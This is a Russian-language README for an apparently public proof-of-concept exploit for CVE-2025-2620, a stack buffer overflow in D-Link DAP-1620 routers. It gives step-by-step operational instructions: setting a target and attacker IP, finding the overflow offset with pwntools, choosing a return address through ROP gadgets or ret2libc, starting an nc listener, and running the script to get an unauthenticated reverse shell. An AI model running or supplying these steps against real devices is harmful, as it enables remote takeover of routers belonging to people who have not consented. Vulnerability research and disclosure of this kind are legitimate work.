
Эксплойт proof-of-concept для CVE-2025-2620, критическое стековое переполнение буфера в маршрутизаторах D-Link DAP-1620, позволяющее неаутентифицированное удаленное выполнение кода и получение обратной оболочки.
Этот репозиторий содержит продвинутый эксплойт Proof-of-Concept (PoC) для CVE-2025-2620 — критической уязвимости переполнения буфера стека, обнаруженной в маршрутизаторе D-Link DAP-1620 с версией прошивки 1.03. Уязвимость позволяет неаутентифицированным удаленным злоумышленникам вызывать отказ веб-сервера маршрутизатора (Отказ в обслуживании, DoS) и потенциально выполнять произвольный код (Удаленное выполнение кода, RCE).
Цель этого проекта — продемонстрировать навыки разработки эксплойтов.
CVE-2025-2620 затрагивает функцию mod_graph_auth_uri_handler маршрутизатора D-Link DAP-1620, конкретно в конечной точке /storage. Уязвимость вызвана неправильной проверкой границ, что позволяет злоумышленнику отправить большой ввод, превышающий выделенный размер буфера, что приводит к переполнению буфера стека.
Уязвимая функция обрабатывает параметр аутентификации (auth) из HTTP-запросов:
void mod_graph_auth_uri_handler(char *input) {
char buffer[512]; // Fixed-size stack buffer
strcpy(buffer, input); // No length check, causes overflow
// Process authentication...
}
Злоумышленник, отправляющий перегруженную полезную нагрузку (например, 1024+ байта), перезаписывает соседнюю память, включая адрес возврата функции, что потенциально приводит к выполнению кода.
D-Link DAP-1620 — это удлинитель Wi-Fi-диапазона со следующими характеристиками:
Комбинированный PoC – Включает как тестирование переполнения буфера, так и эксплойт RCE.
Тест переполнения буфера стека – Идентифицирует уязвимые маршрутизаторы.
Полный эксплойт удаленного выполнения кода (RCE) – Запускает обратную оболочку.
Настраиваемый размер полезной нагрузки и адрес возврата – Адаптируется для разных моделей маршрутизаторов.
Улучшенная отладка – Логирует смещения сбоев для уточнения параметров эксплойта.
git clone https://github.com/Otsmane-Ahmed/CVE-2025-2620-poc.git
cd CVE-2025-2620-poc
Убедитесь, что у вас установлены Python3 и pwntools:
pip install pwntools
Измените скрипт CVE-2025-2620_poc.py:
TARGET_IP = "192.168.0.1" # change to match your router
ATTACKER_IP = "192.168.0.100" # change to your local IP
ATTACKER_PORT = 4444 # change if needed
BUFFER_SIZE = 8000 # Increase if the router does not crash
Измените PoC для генерации уникального шаблона и отправки:
MODE = "overflow" # Set to "overflow" to find the offset
Запустите скрипт:
python3 CVE-2025-2620_poc.py
После сбоя маршрутизатора проверьте адрес ошибки сегментации (EIP на x86 или RA на MIPS) из:
gdb)dmesg | grep 'segfault'Ищите адрес вида 0x61616161 (означает, что часть циклического шаблона перезаписала указатель возврата).
Используйте cyclic_find для определения точного OFFSET:
from pwn import cyclic_find
print(cyclic_find(0x61616161)) # Replace with the crash address
Это даст точное значение OFFSET. Обновите ваш PoC:
OFFSET = <FOUND OFFSET> # Replace with the actual number
RET_ADDR)Вариант 1: Найдите гаджет JMP или CALL
ROPgadget --binary vulnerable_binary | grep "jmp"
Выберите адрес, который переходит на регистр (например, jmp $sp или jmp $ra).
Вариант 2: Используйте адрес ret2libc
Найдите адрес system() в libc:
objdump -D /lib/libc.so.6 | grep "system"
Затем используйте его как RET_ADDR:
RET_ADDR = struct.pack("<I", 0xdeadbeef) # Replace with actual address
nc -lvnp 4444
python3 CVE-2025-2620_poc.py --mode rce
Разработано с ❤️ от Otsmane Ahmed
| Метрика | Значение |
|---|
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Требуемые привилегии | Нет |
| Взаимодействие с пользователем | Нет |
| Влияние на конфиденциальность | Высокая |
| Влияние на целостность | Высокая |
| Влияние на доступность | Высокая |